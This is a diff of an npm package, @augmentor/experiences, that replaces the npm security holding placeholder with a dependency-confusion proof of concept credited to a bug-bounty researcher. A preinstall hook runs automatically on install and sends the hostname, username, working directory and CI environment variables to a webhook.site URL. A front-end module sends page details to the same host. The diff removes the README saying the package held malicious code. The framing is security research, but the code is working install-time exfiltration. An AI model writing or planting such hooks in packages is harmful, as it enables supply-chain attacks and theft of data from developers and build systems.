@augmentor/experiences 0.0.1-security → 99.99.100

package/package.json

@@ -1,6 +1,18 @@
-{
-  "name": "@augmentor/experiences",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "@augmentor/experiences",
+  "version": "99.99.100",
+  "description": "Security research PoC for Bose (Dependency Confusion) - HackerOne researcher urro",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "urro (HackerOne researcher)",
+  "license": "ISC",
+  "homepage": "https://hackerone.com/urro",
+  "keywords": [
+    "security-research",
+    "bugbounty",
+    "poc",
+    "dependency-confusion"
+  ]
+}

package/preinstall.js

@@ -0,0 +1,32 @@
+/**
+ * Security Research PoC
+ * Researcher: urro (HackerOne)
+ * Purpose: Demonstrate Dependency Confusion vulnerability in Bose MagicLayer.
+ * Payload is intentionally benign and only sends hostname + username
+ * to a webhook for execution verification.
+ */
+
+const https = require('https');
+const os = require('os');
+
+const webhookUrl = "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd";
+
+const payload = {
+    type: "rce-backend",
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    platform: os.platform(),
+    arch: os.arch(),
+    node: process.version,
+    cwd: process.cwd(),
+    ci: process.env.CI || null,
+    github_actions: process.env.GITHUB_ACTIONS || null,
+    gitlab_ci: process.env.GITLAB_CI || null,
+    jenkins: process.env.JENKINS_URL || null,
+    npm_registry: process.env.npm_config_registry || null,
+    npm_user_agent: process.env.npm_config_user_agent || null
+};
+
+const data = encodeURIComponent(JSON.stringify(payload));
+
+https.get(`${webhookUrl}?data=${data}`, () => {}).on('error', () => {});

package/sticky-email-popup-html/index.js

@@ -0,0 +1,18 @@
+export function onMount(root) {
+    console.log(
+    "Security Research PoC (Dependency Confusion) by HackerOne researcher 'urro'"
+    );
+
+    const data = {
+        type: "xss-frontend",
+        url: window.location.href,
+        origin: window.location.origin,
+        userAgent: navigator.userAgent
+    };
+
+    fetch(
+        "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd?data=" + 
+        encodeURIComponent(JSON.stringify(data)),
+        { mode: 'no-cors' }
+    );
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40augmentor%2Fexperiences for more information.